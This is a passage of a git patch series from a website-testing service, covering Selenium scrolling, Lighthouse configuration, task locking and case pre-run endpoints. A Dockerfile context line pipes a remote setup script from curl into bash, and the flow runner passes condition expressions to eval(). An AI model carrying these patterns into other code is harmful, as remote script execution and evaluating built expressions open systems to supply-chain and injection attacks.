-        nodes[step_data['index']]['data']['time_started'] = self.build_timestamp()
+        nodes[step_data['index']]['data']['status']         = 'working' 
+        nodes[step_data['index']]['data']['time_started']   = self.build_timestamp()
 
         # update node objects only if task_type is not 'issue' or 'report'
         nodes[step_data['index']]['data']['objects'] = objects if (task_type != 'issue' and task_type != 'report') else []
@@ -711,27 +729,27 @@ def execute_step(self, step_data: dict=None, objects: list=None) -> None:
 
         # update current logs
         logs.append({
-            'timestamp':self.build_timestamp(),
-            'message': message,
-            'step': node_data['id']
+            'timestamp' : self.build_timestamp(),
+            'message'   : message,
+            'step'      : node_data['id']
         })
 
         # sort logs
         logs = sorted(logs, key=lambda l: int(l['step']),)
         
         # save updates
-        self.flowrun.nodes = nodes
-        self.flowrun.edges = edges
-        self.flowrun.logs = logs
+        self.flowrun.nodes  = nodes
+        self.flowrun.edges  = edges
+        self.flowrun.logs   = logs
         self.flowrun.save()
 
         # build common data
-        scope = 'account'
-        configs = node_data['configs']
-        flowrun_id = str(self.flowrun.id)
-        account_id = str(self.flowrun.account.id)
-        types = node_data.get('type')
-        resources = [{
+        scope       = 'account'
+        configs     = node_data['configs']
+        flowrun_id  = str(self.flowrun.id)
+        account_id  = str(self.flowrun.account.id)
+        types       = node_data.get('type')
+        resources   = [{
             'str'   : self.flowrun.site.site_url,
             'id'    : str(self.flowrun.site.id),
             'type'  : 'site'

From 67122272697086023f62f547ff2a814f4c7c610a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 5 May 2025 19:41:11 -0600
Subject: [PATCH 0930/1099] update: pausing auto dev deployments

---
 .github/workflows/dev-deploy.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/dev-deploy.yaml b/.github/workflows/dev-deploy.yaml
index a982bc81..d57de616 100644
--- a/.github/workflows/dev-deploy.yaml
+++ b/.github/workflows/dev-deploy.yaml
@@ -5,7 +5,7 @@ on:
   # Triggers the workflow on push request on the main branch for changes in the specified paths.
   push:
     branches:
-      - dev
+      - dev1 # NOTE -> pausing auto "dev" deployment
     paths:
       - 'app/**'
       - 'Dockerfile'

From ae8af4992bd0967cc088f275cc4239bf52ea6bfa Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 14 May 2025 09:54:50 -0600
Subject: [PATCH 0931/1099] update: changed LH back to auto versioning

---
 Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index 930d5db1..1392ec25 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -73,7 +73,7 @@ RUN curl -fsSL https://deb.nodesource.com/setup_current.x | bash - && \
     n lts
 
 # installing lighthouse & lighthouse-plugin-crux
-RUN npm install -g lighthouse@12.6.0 lighthouse-plugin-crux
+RUN npm install -g lighthouse lighthouse-plugin-crux
 
 # installing lodash & yellowlabtools
 RUN npm install -g lodash yellowlabtools

From d9145fcad27071fc89367cb6eef8893724e022a6 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 14 May 2025 10:52:55 -0600
Subject: [PATCH 0932/1099] increased task_lock timeout

---
 app/api/tasks.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 61d9c291..a1b74881 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -56,7 +56,7 @@ class BaseTaskWithRetry(Task):
 
 # setting locking manager to prevent duplicate tasks
 @contextmanager
-def task_lock(lock_name, timeout=300):
+def task_lock(lock_name, timeout=600):
     lock = redis_client.lock(lock_name, timeout=timeout)
     acquired = lock.acquire(blocking=False)
     print(f"Lock {'acquired' if acquired else 'not acquired'} for {lock_name}")

From 8879ac03d54bcbca52cb774c5b92d66528a71605 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 14 May 2025 10:59:49 -0600
Subject: [PATCH 0933/1099] fix: conditonal `task.attempts` incrementing

---
 app/api/utils/manager.py | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/app/api/utils/manager.py b/app/api/utils/manager.py
index 0469cb1a..70cce650 100644
--- a/app/api/utils/manager.py
+++ b/app/api/utils/manager.py
@@ -30,7 +30,7 @@ def record_task(
     """
 
     # set default 
-    max_atttempts_reached = False
+    max_attempts_reached = False
 
     # get resource 
     if resource_type == 'scan':
@@ -52,10 +52,10 @@ def record_task(
     for task in tasks:
         if task['component'] == component:
             # update existing task
-            tasks[i]['task_id']     = str(task_id)
-            tasks[i]['attempts']    += 1
-            max_atttempts_reached   = True if (tasks[i]['attempts'] >= settings.MAX_ATTEMPTS) else False
-            exists                  = True
+            max_attempts_reached   = True if (tasks[i]['attempts'] >= settings.MAX_ATTEMPTS) else False
+            tasks[i]['task_id']    = str(task_id)
+            tasks[i]['attempts']   += int(max_attempts_reached)
+            exists                 = True
         i += 1
 
     # append new task data
@@ -73,7 +73,7 @@ def record_task(
     resource.save()
 
     # return
-    return max_atttempts_reached
+    return max_attempts_reached
 
 
 

From 750994097ff27601931e7e7f0bb2916b405310d3 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 14 May 2025 11:23:24 -0600
Subject: [PATCH 0934/1099] update: new method for element scrolling

---
 app/api/utils/caser.py | 59 +++++++++++++++++++++---------------------
 1 file changed, 29 insertions(+), 30 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 33e16302..128eba14 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -103,6 +103,20 @@ def __init__(
             'Tab':          Keys.TAB
         }
 
+        # common scripts 
+        self.scroll_to_center = (
+            """
+            const scrollToCenter = (elem) => {
+                const rect = elem.getBoundingClientRect();
+                const absoluteElementTop = rect.top + window.pageYOffset;
+                const middle = absoluteElementTop - (window.innerHeight / 2) + (rect.height / 2);
+                window.scrollTo({top: middle, behavior: 'instant'});
+                setTimeout(function() {return null}, 300);
+            }
+            return scrollToCenter(arguments[0])
+            """
+        )
+
         # update flowrun
         if self.flowrun_id:
             update_flowrun(**{
@@ -669,9 +683,7 @@ def run(self) -> None:
                         raise Exception(f'Unable to locate element with the given Selector and xPath')
                                     
                     # scrolling to element using plain JavaScript
-                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
-                    self.driver.execute_script("arguments[0].scrollIntoView();", element)
-                    self.driver.execute_script("window.scrollBy(0, -100);")
+                    self.driver.execute_script(self.scroll_to_center, element)
                     time.sleep(int(self.configs.get('min_wait_time', 3)))
 
                     # clicking element
@@ -736,10 +748,8 @@ def run(self) -> None:
                     if element_data['failed']:
                         raise Exception(f'Unable to locate element with the given Selector and xPath')
 
-                    # scrolling to element and back down a bit
-                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
-                    self.driver.execute_script("arguments[0].scrollIntoView();", element)
-                    self.driver.execute_script("window.scrollBy(0, -100);")
+                    # scrolling to element using plain javascript
+                    self.driver.execute_script(self.scroll_to_center, element)
                     time.sleep(int(self.configs.get('min_wait_time', 3)))
 
                     # changing value of element
@@ -815,10 +825,8 @@ def run(self) -> None:
                     if element_data['failed']:
                         raise Exception(f'Unable to locate element with the given Selector and xPath')
 
-                    # scrolling to element and back down a bit
-                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
-                    self.driver.execute_script("arguments[0].scrollIntoView();", element)
-                    self.driver.execute_script("window.scrollBy(0, -100);")
+                    # scrolling to element using plain javascript
+                    self.driver.execute_script(self.scroll_to_center, element)
                     time.sleep(int(self.configs.get('min_wait_time', 3)))
 
                     # using selenium, press the selected key
@@ -883,9 +891,8 @@ def run(self) -> None:
                     if element_data['failed']:
                         raise Exception(f'Unable to locate element with the given Selector and xPath')
 
-                    # scrolling to element and back down a bit
-                    self.driver.execute_script("arguments[0].scrollIntoView();", element)
-                    self.driver.execute_script("window.scrollBy(0, -100);")
+                    # scrolling to element
+                    self.driver.execute_script(self.scroll_to_center, element)
                     time.sleep(int(self.configs.get('min_wait_time', 3)))
 
                     # gettintg elem text
@@ -959,12 +966,10 @@ def run(self) -> None:
                     if element_data['failed']:
                         raise Exception(f'Unable to locate element with the given Selector and xPath')
 
-                    # scrolling to element and back down a bit
-                    self.driver.execute_script("arguments[0].scrollIntoView();", element)
-                    self.driver.execute_script("window.scrollBy(0, -100);")
+                    # scrolling to element
+                    self.driver.execute_script(self.scroll_to_center, element)
                     
-                    # scrolling to element using plain JavaScript
-                    self.driver.execute_script("arguments[0].scrollIntoView();", element)
+                    # get step screenshot
                     image = self.save_screenshot(run_type='run')
 
                 except Exception as e:
@@ -1102,9 +1107,7 @@ def pre_run(self) -> None:
                         raise Exception(f'Unable to locate element with the given Selector and xPath')
                                     
                     # scrolling to element using plain JavaScript
-                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
-                    self.driver.execute_script("arguments[0].scrollIntoView();", element)
-                    self.driver.execute_script("window.scrollBy(0, -100);")
+                    self.driver.execute_script(self.scroll_to_center, element)
                     time.sleep(int(self.configs.get('min_wait_time', 3)))
 
                     # get elem img & update self.steps
@@ -1137,10 +1140,8 @@ def pre_run(self) -> None:
                     if element_data['failed']:
                         raise Exception(f'Unable to locate element with the given Selector and xPath')
 
-                    # scrolling to element and back down a bit
-                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
-                    self.driver.execute_script("arguments[0].scrollIntoView();", element)
-                    self.driver.execute_script("window.scrollBy(0, -100);")
+                    # scrolling to element using plain javascript
+                    self.driver.execute_script(self.scroll_to_center, element)
                     time.sleep(int(self.configs.get('min_wait_time', 3)))
 
                     # get elem img & update self.steps
@@ -1184,10 +1185,8 @@ def pre_run(self) -> None:
                     if element_data['failed']:
                         raise Exception(f'Unable to locate element with the given Selector and xPath')
 
-                    # scrolling to element and back down a bit
-                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
-                    self.driver.execute_script("arguments[0].scrollIntoView();", element)
-                    self.driver.execute_script("window.scrollBy(0, -100);")
+                    # scrolling to element using plain javascript
+                    self.driver.execute_script(self.scroll_to_center, element)
                     time.sleep(int(self.configs.get('min_wait_time', 3)))
 
                     # get elem img & update self.steps

From 4854eb13b668644a68daa14c2654a63f5157c592 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 14 May 2025 11:23:53 -0600
Subject: [PATCH 0935/1099] update: added `--extra-headers` flag to LH

---
 app/api/utils/lighthouse.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index 5eaa5d1f..3322ac1b 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -66,6 +66,7 @@ def lighthouse_cli(self):
                 '--quiet',
                 self.page.page_url, 
                 '--plugins=lighthouse-plugin-crux',
+                '--extra-headers'
                 '--chrome-flags="--no-sandbox --headless --disable-dev-shm-usage"', 
                 f'--screenEmulation.width={self.sizes[0]}',
                 f'--screenEmulation.height={self.sizes[1]}',

From 3c0dc99e8650a43c5190c0f26833c702589d89c9 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 16 May 2025 10:57:44 -0600
Subject: [PATCH 0936/1099] update: added mannual `pre_run` to admin for cases

---
 app/api/admin.py | 11 +++++++++--
 1 file changed, 9 insertions(+), 2 deletions(-)

diff --git a/app/api/admin.py b/app/api/admin.py
index bb1d11d9..c08e833e 100644
--- a/app/api/admin.py
+++ b/app/api/admin.py
@@ -6,7 +6,7 @@
     delete_site, delete_page, 
     delete_scan, delete_test,
     delete_case, delete_caserun,
-    crawl_site
+    crawl_site, case_pre_run,
 )
 from .tasks import (
     reset_account_usage, 
@@ -195,7 +195,7 @@ class ProcessAdmin(admin.ModelAdmin):
 class CaseAdmin(admin.ModelAdmin):
     list_display = ('title', 'user', 'site', 'time_created',)
     search_fields = ('title', 'site__site_url')
-    actions = ['delete_cases',]
+    actions = ['delete_cases', 'start_pre_run']
 
     def delete_cases(self, request, queryset):
         for case in queryset:
@@ -203,6 +203,13 @@ def delete_cases(self, request, queryset):
                 id=case.id,
                 user=case.user
             )
+    
+    def start_pre_run(self, request, queryset):
+        for case in queryset:
+            case_pre_run(**{
+                'case_id': str(case.id),
+                'user_id': str(case.user.id)
+            })
 
 
 

From 2eff50c8a1f1f2f9dba78a21dc299496e4b36eaa Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 16 May 2025 10:58:25 -0600
Subject: [PATCH 0937/1099] fix: preventing un-assocaited cases from processing

---
 app/api/signals.py | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/app/api/signals.py b/app/api/signals.py
index 033c9c68..b3c4b09b 100644
--- a/app/api/signals.py
+++ b/app/api/signals.py
@@ -40,6 +40,12 @@ def case_created(sender, instance, created, **kwargs):
         # check if Case has processed
         if not case.processed:
 
+            # return early if no site association
+            if not case.site:
+                case.processed = True
+                case.save()
+                return None
+
             # create process obj
             process = Process.objects.create(
                 site=case.site,

From 9ef6c5e562d7c3e037341ed6fbf683a0cc871444 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 16 May 2025 10:59:22 -0600
Subject: [PATCH 0938/1099] fix: assertions and screenshot exception handling

---
 app/api/utils/caser.py | 51 +++++++++++++++++++++++++-----------------
 1 file changed, 30 insertions(+), 21 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 128eba14..babaf0e9 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -298,6 +298,9 @@ def save_screenshot(self, run_type: str=None) -> str:
         Returns -> `image_url` <str:remote path to image>
         """
 
+        # default
+        image_url = None
+
         # setup boto3 configurations
         s3 = boto3.client(
             's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
@@ -308,28 +311,34 @@ def save_screenshot(self, run_type: str=None) -> str:
 
         # setting id for image
         pic_id = uuid.uuid4()
-        
-        # get screenshot
-        self.driver.save_screenshot(f'{pic_id}.png')
 
-        # seting up paths
-        image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
+        # catch any timeout/detachment errors
+        try:
         
-        if run_type == 'run':
-            remote_path = f'static/caseruns/{self.caserun.id}/{pic_id}.png'
-        if run_type == 'pre_run':
-            remote_path = f'static/case/{self.case.id}/{pic_id}.png'
+            # get screenshot
+            self.driver.save_screenshot(f'{pic_id}.png')
 
-        root_path = settings.AWS_S3_URL_PATH
-        image_url = f'{root_path}/{remote_path}'
-    
-        # upload to s3
-        with open(image, 'rb') as data:
-            s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
-                remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
-            )
-        # remove local copy
-        os.remove(image)
+            # seting up paths
+            image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
+            
+            if run_type == 'run':
+                remote_path = f'static/caseruns/{self.caserun.id}/{pic_id}.png'
+            if run_type == 'pre_run':
+                remote_path = f'static/case/{self.case.id}/{pic_id}.png'
+
+            root_path = settings.AWS_S3_URL_PATH
+            image_url = f'{root_path}/{remote_path}'
+        
+            # upload to s3
+            with open(image, 'rb') as data:
+                s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+                    remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
+                )
+            # remove local copy
+            os.remove(image)
+        
+        except Exception as e:
+            print(e)
 
         # returning image url
         return image_url
@@ -899,8 +908,8 @@ def run(self) -> None:
                     elementText = element.get_attribute('innerText')
                     elementText = element.text if len(elementText) == 0 else elementText
                     elementText = elementText.strip()
-                    print(f'elementText -> {elementText}')
-                    print(f'value -> {step["assertion"]["value"]}')
+                    print(f'elementText -> "{elementText}"')
+                    print(f'value -> "{step["assertion"]["value"]}"')
 
                     # assert text
                     if elementText != self.transpose_data(step["assertion"]["value"]):

From 0976ec2e5e4f41dd9111c30f64fa2d948ffcfaac Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 16 May 2025 11:01:23 -0600
Subject: [PATCH 0939/1099] update: new configs and settings added

---
 .../default-config.js}                        |  2 +-
 app/api/utils/configs/extra-headers.json      |  5 ++
 app/api/utils/lighthouse.py                   | 71 ++++++++++++++++---
 app/api/utils/yellowlab.py                    |  2 +
 4 files changed, 69 insertions(+), 11 deletions(-)
 rename app/api/utils/{custom-config.js => configs/default-config.js} (87%)
 create mode 100644 app/api/utils/configs/extra-headers.json

diff --git a/app/api/utils/custom-config.js b/app/api/utils/configs/default-config.js
similarity index 87%
rename from app/api/utils/custom-config.js
rename to app/api/utils/configs/default-config.js
index a4fadfce..a51b1005 100644
--- a/app/api/utils/custom-config.js
+++ b/app/api/utils/configs/default-config.js
@@ -5,7 +5,7 @@ module.exports = {
   settings: {
     cruxToken: process.env.GOOGLE_CRUX_KEY,
     skipAudits: [
-      // "full-page-screenshot",
+      "full-page-screenshot",
     ],
   },
 }
\ No newline at end of file
diff --git a/app/api/utils/configs/extra-headers.json b/app/api/utils/configs/extra-headers.json
new file mode 100644
index 00000000..e3f9597e
--- /dev/null
+++ b/app/api/utils/configs/extra-headers.json
@@ -0,0 +1,5 @@
+{
+  "Accept": "text/html",
+  "User-Agent": "Mozilla/5.0",
+  "Timing-Allow-Origin": "*"
+}
\ No newline at end of file
diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index 3322ac1b..2c15e44a 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -1,7 +1,8 @@
-import subprocess, json, uuid, boto3, os, requests
+from pathlib import Path
 from ..models import Site, Scan
 from .devices import get_device
 from cursion import settings
+import subprocess, json, uuid, boto3, os, requests
 
 
 
@@ -23,11 +24,14 @@ def __init__(self, scan=None):
         self.page = self.scan.page
         self.configs = scan.configs
         self.sizes = scan.configs['window_size'].split(',')
+        self.cpu_slowdown = 30
+        self.scale_factor = 2
         self.audits_url = ''
-        self.device_type = get_device(
+        self.device = get_device(
             scan.configs['browser'], 
             scan.configs['device']
-        )['type']
+        )
+        self.is_mobile = str(self.device['type'] == 'mobile').lower()
 
         # initial scores object
         self.scores = {
@@ -50,6 +54,44 @@ def __init__(self, scan=None):
             "crux": []
         }
 
+
+
+    def create_configs(self):
+    
+        # custom Lighthouse config
+        config_js = f"""
+            module.exports = {{
+                extends: 'lighthouse:default',
+                plugins: ['lighthouse-plugin-crux'],
+                settings: {{
+                    cruxToken: "{settings.GOOGLE_CRUX_KEY}",
+                    skipAudits: [
+                        "full-page-screenshot"
+                    ],
+                    screenEmulation: {{
+                        mobile: {self.is_mobile},
+                        width: {self.sizes[0]},
+                        height: {self.sizes[1]},
+                        deviceScaleFactor: {self.scale_factor},
+                        disabled: false
+                    }},
+                    throttling: {{
+                        cpuSlowdownMultiplier: {self.cpu_slowdown}
+                    }},
+                    emulatedUserAgent: {json.dumps(self.device['user_agent'])}
+                }}
+            }};
+        """
+
+        # define output path
+        config_path = Path("api/utils/configs/custom-config.js")
+        config_path.write_text(config_js)
+        
+        # return path for use in subprocess
+        return config_path.as_posix()  
+
+
+
     
     def lighthouse_cli(self):
         """ 
@@ -62,17 +104,20 @@ def lighthouse_cli(self):
         # initiating subprocess for LH CLI
         proc = subprocess.Popen([
                 'lighthouse', 
-                '--config-path=api/utils/custom-config.js',
+                f'--config-path=api/utils/configs/default-config.js',
                 '--quiet',
                 self.page.page_url, 
                 '--plugins=lighthouse-plugin-crux',
-                '--extra-headers'
-                '--chrome-flags="--no-sandbox --headless --disable-dev-shm-usage"', 
+                '--extra-headers=api/utils/configs/extra-headers.json',
+                f'--chrome-flags=--no-sandbox --headless --disable-dev-shm-usage', 
+                f'--form-factor={self.device["type"]}',
                 f'--screenEmulation.width={self.sizes[0]}',
                 f'--screenEmulation.height={self.sizes[1]}',
-                f'--screenEmulation.{self.device_type}',
+                f'--screenEmulation.mobile={self.is_mobile}',
+                f'--emulatedUserAgent={self.device["user_agent"]}',
+                f'--throttling.cpuSlowdownMultiplier={self.cpu_slowdown}',
                 '--output',
-                'json', 
+                'json',
             ], 
             stdout=subprocess.PIPE,
             user='app',
@@ -115,7 +160,7 @@ def lighthouse_api(self) -> dict:
         }
         params = {
             "url": self.page.page_url,
-            "strategy": self.device_type,
+            "strategy": self.device['type'],
             "key": settings.GOOGLE_CRUX_KEY
         }
 
@@ -161,6 +206,12 @@ def process_data(self, stdout_json: dict) -> dict:
         self.audits['best-practices'] = self.audits.pop('best_practices')
         self.audits['lighthouse-plugin-crux'] = self.audits.pop('crux')
 
+        # allow_list of 0 weighted audits
+        allow_list = [
+            'server-response-time', 'cache-insight',
+            'interactive',
+        ]
+
         # iterating through categories to get relevant lh_audits 
         # and store them in their respective `audits = {}` obj
         for cat in self.audits:
@@ -170,7 +221,7 @@ def process_data(self, stdout_json: dict) -> dict:
             cat_audits = stdout_json["categories"].get(cat).get("auditRefs")
             if cat_audits is not None:
                 for a in cat_audits:
-                    if int(a["weight"]) > 0:
+                    if int(a["weight"]) > 0 or a["id"] in allow_list:
                         audit = stdout_json["audits"][a["id"]]
                         self.audits[cat].append(audit)
        
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index e9b0c34d..268eee72 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -66,6 +66,8 @@ def yellowlab_cli(self):
         Returns --> raw YL data (Dict)
         """
 
+        print(f'starting YL with device type -> {self.device_type}')
+
         # initiating subprocess for YLT CLI
         proc = subprocess.Popen([
                 'yellowlabtools',

From 049485a6fe9c30309116d630aaa63d4377d4ce7b Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 16 May 2025 11:02:27 -0600
Subject: [PATCH 0940/1099] fix: added conditional catches when
 `end_on_fail:false`

---
 app/api/utils/flowr.py | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/app/api/utils/flowr.py b/app/api/utils/flowr.py
index 04d0c68d..cf1f2af5 100644
--- a/app/api/utils/flowr.py
+++ b/app/api/utils/flowr.py
@@ -514,7 +514,7 @@ def run_next(self) -> None:
 
         # check for node conditions given not 'queued' or 'working'
         if current_data['node']['data']['conditions'] and \
-            current_data['node']['data']['status'] != 'failed':
+            (current_data['node']['data']['status'] != 'failed' or not self.flowrun.configs.get('end_on_fail')):
             
             # starting conditons buliding & execution
             print('building conditons')
@@ -539,12 +539,12 @@ def run_next(self) -> None:
                 ).get_object()
                 
                 # build and execute conditions
-                conditons = Alerter(
+                conditions = Alerter(
                     expressions=current_data['node']['data']['conditions']
                 ).build_expressions()
-
+                
                 # evaluate conditons
-                outcome = eval(f'True if ({conditons}) else False')
+                outcome = eval(f'True if ({conditions}) else False')
 
                 # create new fake parent ID
                 parentID = uuid.uuid4()
@@ -578,6 +578,7 @@ def run_next(self) -> None:
 
             # run true_child if true_outcomes exists
             if len(true_outcomes) > 0:
+                print('RUNNING TRUE CHILD')
                 true_task = true_child['node']['data']['task_type'] if true_child else None
                 # sleeping random for DB 
                 time.sleep(random.uniform(1, 5))
@@ -588,6 +589,7 @@ def run_next(self) -> None:
             
             # run false_child if false_outcomes exists
             if len(false_outcomes) > 0:
+                print('RUNNING FALSE CHILD')
                 false_task = false_child['node']['data']['task_type'] if false_child else None
                 # sleeping random for DB 
                 time.sleep(random.uniform(1, 5))

From e587d7b3c6c3561b73203e46643da9467ab4ef1f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 16 May 2025 11:03:22 -0600
Subject: [PATCH 0941/1099] update: added `case_pre_run` and fixed minor bugs

---
 app/api/v1/ops/services.py | 84 +++++++++++++++++++++++++++++++++-----
 app/api/v1/ops/urls.py     |  1 +
 app/api/v1/ops/views.py    | 10 +++++
 3 files changed, 84 insertions(+), 11 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 31fc8570..c4dde086 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -307,13 +307,14 @@ def site_in_sites(id) -> bool:
 
         # check associated site in permissions.sites
         else:
-            if not site_in_sites(str(objs[0].site.id)):
-                return {
-                    'allowed': False,
-                    'error': error,
-                    'code': code,
-                    'status': _status
-                }
+            if objs[0].site:
+                if not site_in_sites(str(objs[0].site.id)):
+                    return {
+                        'allowed': False,
+                        'error': error,
+                        'code': code,
+                        'status': _status
+                    }
 
 
     # handle special cases for site and page
@@ -995,7 +996,7 @@ def create_page(request: object=None) -> object:
         page.save()
 
         # running scan in background
-        scan_page_bg.delay(scan_id=scan.id, configs=configs)
+        scan_page_bg.delay(scan_id=scan.id)
       
     # serialize response and return
     serializer_context = {'request': request}
@@ -4910,6 +4911,7 @@ def create_or_update_case(request: object=None) -> object:
     # serialize and return
     serializer_context = {'request': request}
     data = CaseSerializer(case, context=serializer_context).data
+    data['client'] = settings.CLIENT_URL_ROOT
     record_api_call(request, data, '201')
     response = Response(data, status=status.HTTP_201_CREATED)
     return response
@@ -4977,6 +4979,67 @@ def save_case_steps(steps: dict, case_id: str) -> dict:
 
 
 
+def case_pre_run(request: object=None, **kwargs) -> object:
+    """ 
+    Inits case_pre_run_bg for the passed 'case_id'
+    
+    Expects:
+        case_id: str,
+        user_id: str,
+
+    Returns: HTTP or Case object
+    """
+
+    # decide on data source
+    source = request.data if request else kwargs
+
+    # get data
+    case_id = source.get('case_id')
+    user_id = source.get('user_id') if not request else request.user.id
+    
+    # get member, and account
+    member = Member.objects.get(user__id=user_id)
+    account = member.id
+
+    # checking account and resource 
+    check_data = check_permissions_and_usage(
+        member=member, resource='case', 
+        action='update', id=case_id, id_type='case'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error']}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+    
+    # get case
+    case = Case.objects.get(id=case_id)
+    
+    # create process obj
+    process = Process.objects.create(
+        site=case.site,
+        type='case.pre_run',
+        object_id=str(case.id),
+        account=case.account,
+        progress=1
+    )
+
+    # start pre_run for new Case
+    case_pre_run_bg.delay(
+        case_id=str(case.id),
+        process_id=str(process.id)
+    )
+
+    # return dynamic
+    if request:
+        serializer_context = {'request': request}
+        data = CaseSerializer(case, context=serializer_context).data
+        record_api_call(request, data, '200')
+        return Response(data, status=status.HTTP_200_OK)
+    return case
+
+
+
+
 def get_cases(request: object=None) -> object:
     """ 
     Get one or more `Cases`.
@@ -5130,12 +5193,11 @@ def search_cases(request: object=None) -> object:
     if len(member.permissions.get('sites',[])) != 0:
         id_list = [item['id'] for item in member.permissions.get('sites')]
         cases = cases.filter(site__id__in=id_list).order_by('-time_created')
-    
+
     # serialize and rerturn
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(cases, request)
-    serializer_context = {'request': request}
-    serialized = CaseSerializer(result_page, many=True, context=serializer_context)
+    serialized = CaseSerializer(result_page, many=True, context={'request': request})
     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')
     return response 
diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py
index 8f80e3a1..c3e3ce8e 100644
--- a/app/api/v1/ops/urls.py
+++ b/app/api/v1/ops/urls.py
@@ -27,6 +27,7 @@
     path('tests/zapier', views.TestsZapier.as_view(), name='tests-zapier'),
     path('case', views.Cases.as_view(), name='case'),
     path('case/<uuid:id>', views.CaseDetail.as_view(), name='case-detail'),
+    path('case/pre-run', views.CasePreRun.as_view(), name='case-pre-run'),
     path('case/search', views.CasesSearch.as_view(), name='case-search'),
     path('case/auto', views.AutoCases.as_view(), name='case-auto'),
     path('case/copy', views.CopyCases.as_view(), name='case-copy'),
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index 25e4e147..ef6ad596 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -504,6 +504,16 @@ def get(self, request):
 
 
 
+class CasePreRun(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['post']
+
+    def post(self, request):
+        response = case_pre_run(request)  
+        return response
+
+
+
 class CaseDetail(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'delete']

From 2377aab9418caf4dcd033d7903f817ec40d522f9 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sun, 18 May 2025 22:29:18 -0600
Subject: [PATCH 0942/1099] fix: rollback for testing

---
 app/api/tasks.py         |  2 +-
 app/api/utils/manager.py | 18 ++++++------------
 2 files changed, 7 insertions(+), 13 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index a1b74881..61d9c291 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -56,7 +56,7 @@ class BaseTaskWithRetry(Task):
 
 # setting locking manager to prevent duplicate tasks
 @contextmanager
-def task_lock(lock_name, timeout=600):
+def task_lock(lock_name, timeout=300):
     lock = redis_client.lock(lock_name, timeout=timeout)
     acquired = lock.acquire(blocking=False)
     print(f"Lock {'acquired' if acquired else 'not acquired'} for {lock_name}")
diff --git a/app/api/utils/manager.py b/app/api/utils/manager.py
index 70cce650..a9c2ad50 100644
--- a/app/api/utils/manager.py
+++ b/app/api/utils/manager.py
@@ -30,7 +30,7 @@ def record_task(
     """
 
     # set default 
-    max_attempts_reached = False
+    max_atttempts_reached = False
 
     # get resource 
     if resource_type == 'scan':
@@ -52,10 +52,10 @@ def record_task(
     for task in tasks:
         if task['component'] == component:
             # update existing task
-            max_attempts_reached   = True if (tasks[i]['attempts'] >= settings.MAX_ATTEMPTS) else False
-            tasks[i]['task_id']    = str(task_id)
